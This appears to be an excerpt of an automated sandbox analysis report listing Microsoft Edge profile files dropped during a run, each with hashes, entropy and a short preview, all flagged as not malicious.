Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5677138890402125
Encrypted:	false
SSDEEP:	768:wQolEOWPFdfJc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLykPsrwEpHtuu:wQolEOWPFdfJcu1jaO5PFAtF
MD5:	AAE7DE1F7D8F92EF4378973E50F04665
SHA1:	30F4338EE7EA3A99837871EF81EB8AADA066C8D1
SHA-256:	67BEB44A7BC5653EFEE9CE7005742ADE91D8C9FFDC086539A50439DC50D12215
SHA-512:	93FA9886F86CA5C026CE4395F23CF893D0B6DFA6781AD84789C4DA2FF6E93B8818F7B3ED323187AA299F4D98538A8AA679F429A68CF9182B0D62A818475C7D7C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377006516227243","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377006516227243","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2eae3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5677138890402125
Encrypted:	false
SSDEEP:	768:wQolEOWPFdfJc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLykPsrwEpHtuu:wQolEOWPFdfJcu1jaO5PFAtF
MD5:	AAE7DE1F7D8F92EF4378973E50F04665
SHA1:	30F4338EE7EA3A99837871EF81EB8AADA066C8D1
SHA-256:	67BEB44A7BC5653EFEE9CE7005742ADE91D8C9FFDC086539A50439DC50D12215
SHA-512:	93FA9886F86CA5C026CE4395F23CF893D0B6DFA6781AD84789C4DA2FF6E93B8818F7B3ED323187AA299F4D98538A8AA679F429A68CF9182B0D62A818475C7D7C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377006516227243","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377006516227243","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.845308500679606
Encrypted:	false
SSDEEP:	24:F2xc5NmEcncmo0CRORpllg2DhDfRHHVdCRORpllg2Sc03osxIKCRORpllg2DhGRz:F2emNtrdDpfB1XrdYxnrdDUBgrdvBc
MD5:	0352A595C6F18DC86D06C2B06287F749
SHA1:	CA54919021B45D34A98BF1E305B2CA2496EC89D4
SHA-256:	A774124F30B497C20EE7006344727AAD3D0B56EBA79CBB5D4DB5F9FAC20C9621
SHA-512:	A4465BF440701002A8D9F9ECD431C3D29D402A1EA778B7F6D163415B1AEB73F79FE1EC2857BAD4122E60776CB6E504EC8D9D0E3CC57399F01203C461FB0A3E5B
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.295Z.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.183053672683107
Encrypted:	false
SSDEEP:	6:HAtIaR1CHhJ23oH+TcwtE/a252KLlVAtFftDM+q2PCHhJ23oH+TcwtE/a2ZIFUv:g7NYeb8xLopM+vBYeb8J2FUv
MD5:	64015F9EDCAE0BA9975B18E0F5DB4340
SHA1:	837773FA6746493CDB2EDCF8B25BC14305DE96EE
SHA-256:	C4CCD2C677F6A807F5978277C6A20C38457C24FA4160A471CE93AB13C99ACDBB
SHA-512:	71D3D5F6F23FC688ABFAD1EA01D8822CFF29383EDF9F140DF0FB353AB2460D90FB036FB34840A907699346CD22CE76035596FD362B05DF449BDDB104932694A8
Malicious:	false
Preview:	2024/11/25-06:08:54.661 1cfc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-06:08:54.671 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.5780375767357
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgWJ/:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFa
MD5:	4B4629D7B77F675DF3328BAC7C494DEC
SHA1:	E814153403A690C58040267022AB0818609BB662
SHA-256:	656E32452FCDFFA35DD8B88EB8C272CDFA967CB9CFD9304929D770F7E8C7435B
SHA-512:	DE9A0CB60FABC748164D1B93FCFED5F0212092920B3E4002A259CE30AEFD4626DCEB40807A68817545537C356D1398244E7FCD23B50C2CFB87DA2B3EAA7F921C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.385320462932422
Encrypted:	false
SSDEEP:	3072:vE8Mu+kNwsG8wf/9VDIdL/CCX8MbZyIM1WWFPqba:JG8wtVEdL/GYXMvCe
MD5:	ABEFACF1C3722FB0F0651F9860D9D101
SHA1:	8294EE1566CE97BB8882B7014746CBC37DF53638
SHA-256:	ED6D02EF5B413CF4883230FA6951B30803BD9ED60045A2F1E6486440A36B9E2E
SHA-512:	74265071242F9C8638D6B33DF6087AB3FDAC1E95DAB6F54FAAD6CDC12EB2DF9469BAC1CAD1C1E8F3348E9B8E119B8E6177E613C3A6852FF4F514D15C13F4A43B
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.h........,T.8..`,.....L`.....,T...`......L`......Rc~.S ....exports...Rc..D.....module....Rcb.......define....Rb..^.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m."...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:Nh80X00Xl/ly/l9/lxE0tlla/l4n:vmO0g4n
MD5:	242C6FD3E4DA81EBFB34D4114A21FBC3
SHA1:	CEFF1D440287EAA3F4FF62A4CAA247CDA2992F84
SHA-256:	EB74A21D0805B5C3A4164F158C10C2C80A663850582D772640338057B6E508EA
SHA-512:	6D065863CAB28F9E4F1FEA8B27B63BE68FE18A8B566D51C2B738871750F529AED9595439E8146092E45629BAB39A5EA4288783C22E7FA883CD4A9AB50B14B976
Malicious:	false
Preview:	@......9oy retne.........................X....,....................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:Nh80X00Xl/ly/l9/lxE0tlla/l4n:vmO0g4n
MD5:	242C6FD3E4DA81EBFB34D4114A21FBC3
SHA1:	CEFF1D440287EAA3F4FF62A4CAA247CDA2992F84
SHA-256:	EB74A21D0805B5C3A4164F158C10C2C80A663850582D772640338057B6E508EA
SHA-512:	6D065863CAB28F9E4F1FEA8B27B63BE68FE18A8B566D51C2B738871750F529AED9595439E8146092E45629BAB39A5EA4288783C22E7FA883CD4A9AB50B14B976
Malicious:	false
Preview:	@......9oy retne.........................X....,....................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3348e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:Nh80X00Xl/ly/l9/lxE0tlla/l4n:vmO0g4n
MD5:	242C6FD3E4DA81EBFB34D4114A21FBC3
SHA1:	CEFF1D440287EAA3F4FF62A4CAA247CDA2992F84
SHA-256:	EB74A21D0805B5C3A4164F158C10C2C80A663850582D772640338057B6E508EA
SHA-512:	6D065863CAB28F9E4F1FEA8B27B63BE68FE18A8B566D51C2B738871750F529AED9595439E8146092E45629BAB39A5EA4288783C22E7FA883CD4A9AB50B14B976
Malicious:	false
Preview:	@......9oy retne.........................X....,....................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6241
Entropy (8bit):	3.392138421961449
Encrypted:	false
SSDEEP:	192:uzlIZiEo717WQa9Xp+2idiU5SLl9iSrWYSL1J:zg7109Xp+22B5SLl9iSr1SLT
MD5:	81ECBAA7ACBFAF7B233B55B9F3BE091D
SHA1:	E1C9929F7ACCA45BA6751881133A0BE7FDDDA142
SHA-256:	8AB8368C565BC7629E3A5D2C17869B9526E52EB18C7F5CF55297F9A1651E7A73
SHA-512:	5B01493ABD42C63429F4E19A4B9F388354351F4EF9A59305393DE7A3DAF0607FC28D2D05D1533DAFEDC43ECD33A3A31D6F8292836C9A461FC2F55B17027FFDC3
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................hR.b................next-map-id.1.Cnamespace-f39628db_962e_4247_9ca4_ba6f33add4a4-https://ntp.msn.com/.0V.e................V.e................V.e................V.e.................\p..................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.e.h.p.s.b.h.v.c.,.m.m.s.-.s.c.-.s.c._.c.o.n.3.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.p.r.g.-.1.s.w.-.s.a.v.a.n.i.l.l.a.p.r.o.d.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.n.o.r.e.t.r.y.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.f.g.d.i.p.6.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.223502372404949
Encrypted:	false
SSDEEP:	6:HAk2L+q2PCHhJ23oH+TcwtrQMxIFUt8YAivG1Zmw+YAijQLVkwOCHhJ23oH+TcwJ:gkrvBYebCFUt87iG1/+7WI56YebtJ
MD5:	CAD6AC6FA61751A6BDE48A6353FAE0D6
SHA1:	659EE2B9895D38F53E2ED9A6A023B1B2A960A792
SHA-256:	67BA4D79F5E8EB23393B69B1D29D89093E692D91938BA7292D29B8A244703397
SHA-512:	10CB1DC4BBFD1994FF720C896FB6821575E7D55BF4583FDFBB35CC157A4F68B0376AB3F6D57C7B952F3D2BAAFAEEE4B7808A246129379EBD6DF63DCBEDFD2E08
Malicious:	false
Preview:	2024/11/25-06:08:37.022 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-06:08:37.040 1c98 Recovering log #3.2024/11/25-06:08:37.044 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.223502372404949
Encrypted:	false
SSDEEP:	6:HAk2L+q2PCHhJ23oH+TcwtrQMxIFUt8YAivG1Zmw+YAijQLVkwOCHhJ23oH+TcwJ:gkrvBYebCFUt87iG1/+7WI56YebtJ
MD5:	CAD6AC6FA61751A6BDE48A6353FAE0D6
SHA1:	659EE2B9895D38F53E2ED9A6A023B1B2A960A792
SHA-256:	67BA4D79F5E8EB23393B69B1D29D89093E692D91938BA7292D29B8A244703397
SHA-512:	10CB1DC4BBFD1994FF720C896FB6821575E7D55BF4583FDFBB35CC157A4F68B0376AB3F6D57C7B952F3D2BAAFAEEE4B7808A246129379EBD6DF63DCBEDFD2E08
Malicious:	false
Preview:	2024/11/25-06:08:37.022 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-06:08:37.040 1c98 Recovering log #3.2024/11/25-06:08:37.044 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377006518716523

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.829568308435233
Encrypted:	false
SSDEEP:	24:3qxvXG0vpsAF4unx8tLp3X2amEtG1ChqN9UEp69EQKkOAM4:3KvXG+zFqLp2FEkChM9/Q9lHOp
MD5:	8F6BB942921344645CE4CFDD3028D2D2
SHA1:	545D8D6D3327E053D47386362046FA5BF9CBFD3F
SHA-256:	BDEEDA9A33F13F96D567DC8AADA11C4702A429CEA6BD9E41E0E3BF5A026DB48D
SHA-512:	AEF99F4F50192C551A4DDC2F10C40BAC148F2EC4FCD118B88765B1BF68EE7BA8AAC87B9FCF65E58224231445E1378B3A4E40A37ECA51FB3942A82BA268DBDD4D
Malicious:	false
Preview:	SNSS......._..j..........._..j......"_..j..........._..j......._..j.......`..j.......`..j....!..`..j..............................._..j`..j1..,...`..j$...f39628db_962e_4247_9ca4_ba6f33add4a4..._..j.......`..j.....g3........_..j..._..j......................._..j....................5..0..._..j&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}....._..j......._..j..........................`..j...........`..j........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......&mF..'..'mF..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.163364691338101
Encrypted:	false
SSDEEP:	6:HA7N+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YAdWZmw+YAQVkwOCHhJ23oH+Tcwt7UT:gZ+vBYebIhHh2FUt87dW/+7QV56YebIT
MD5:	DDC2AAFCDBC4F6703DF1D7718E746980
SHA1:	804A405AC41348A3369FDAA3F9DB5310D3DA24CF
SHA-256:	33F74D7F430CA11635682654F9E6795CF847B2D815B8776B98A66DC18C302258
SHA-512:	04BCBFE8CC72FB3F9F8B2B56D817C4C31641B4DCD0EBDD12AF2607940760F744CD21503C8B2D652A5D15F18F01072CECF795D1ABE0A3314DE63977FDB26F4068
Malicious:	false
Preview:	2024/11/25-06:08:36.311 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-06:08:36.312 1d5c Recovering log #3.2024/11/25-06:08:36.312 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.163364691338101
Encrypted:	false
SSDEEP:	6:HA7N+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YAdWZmw+YAQVkwOCHhJ23oH+Tcwt7UT:gZ+vBYebIhHh2FUt87dW/+7QV56YebIT
MD5:	DDC2AAFCDBC4F6703DF1D7718E746980
SHA1:	804A405AC41348A3369FDAA3F9DB5310D3DA24CF
SHA-256:	33F74D7F430CA11635682654F9E6795CF847B2D815B8776B98A66DC18C302258
SHA-512:	04BCBFE8CC72FB3F9F8B2B56D817C4C31641B4DCD0EBDD12AF2607940760F744CD21503C8B2D652A5D15F18F01072CECF795D1ABE0A3314DE63977FDB26F4068
Malicious:	false
Preview:	2024/11/25-06:08:36.311 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-06:08:36.312 1d5c Recovering log #3.2024/11/25-06:08:36.312 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

